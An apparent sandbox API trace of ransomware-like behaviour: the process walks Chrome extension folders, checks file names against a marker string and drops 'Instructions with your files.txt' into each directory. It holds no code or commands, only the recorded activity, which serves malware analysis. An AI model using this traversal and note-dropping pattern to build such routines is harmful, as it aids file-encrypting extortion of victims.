[0128.980] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0128.980] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\Instructions with your files.txt") returned 171
[0128.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0128.981] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0128.982] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0128.982] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0128.982] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0128.982] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0128.982] CloseHandle (hObject=0x130) returned 1
[0128.982] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0128.982] GetProcessHeap () returned 0x810000
[0128.982] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0128.982] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0128.982] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata") returned 139
[0128.982] GetProcessHeap () returned 0x810000
[0128.982] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0128.982] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*") returned 141
[0128.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0128.983] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\.") returned 141
[0128.983] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.983] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\..") returned 142
[0128.983] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85d166b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1
[0128.983] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json") returned 160
[0128.983] StrStrIW (lpFirst="computed_hashes.json", lpSrch="SDfghjkl") returned 0x0
[0128.983] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0128.983] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json") returned 162
[0128.983] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0128.984] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0128.984] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\Instructions with your files.txt") returned 172
[0128.984] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0128.985] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0128.986] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0128.986] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0128.986] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0128.986] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0128.986] CloseHandle (hObject=0x130) returned 1
[0128.987] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0128.987] GetProcessHeap () returned 0x810000
[0128.987] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0128.987] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0128.987] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\Instructions with your files.txt") returned 162
[0128.987] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0128.987] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0128.988] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0128.988] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0128.988] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0128.988] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0128.989] CloseHandle (hObject=0x12c) returned 1
[0128.989] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0128.990] GetProcessHeap () returned 0x810000
[0128.990] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0128.990] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 0
[0128.990] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\Instructions with your files.txt") returned 156
[0128.990] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0128.991] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0128.992] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0128.992] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0128.992] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0128.992] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0128.992] CloseHandle (hObject=0x128) returned 1
[0128.992] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0128.992] GetProcessHeap () returned 0x810000
[0128.992] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0128.992] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aohghmighlieiainnegkcijnfilokake", cAlternateFileName="AOHGHM~1")) returned 1
[0128.993] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 123
[0128.993] GetProcessHeap () returned 0x810000
[0128.993] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0128.993] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*") returned 125
[0128.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0128.994] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\.") returned 125
[0128.994] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.994] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\..") returned 126
[0128.994] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1
[0128.994] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned 129
[0128.994] GetProcessHeap () returned 0x810000
[0128.994] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0128.994] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*") returned 131
[0128.994] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0128.997] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\.") returned 131
[0128.997] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.997] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\..") returned 132
[0128.997] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1
[0128.997] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png") returned 142
[0128.997] StrStrIW (lpFirst="icon_128.png", lpSrch="SDfghjkl") returned 0x0
[0128.997] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1
[0128.997] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 141
[0128.997] StrStrIW (lpFirst="icon_16.png", lpSrch="SDfghjkl") returned 0x0
[0128.997] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfe051a00, ftLastWriteTime.dwHighDateTime=0x1d03f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1
[0128.998] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 139
[0128.998] StrStrIW (lpFirst="main.html", lpSrch="SDfghjkl") returned 0x0
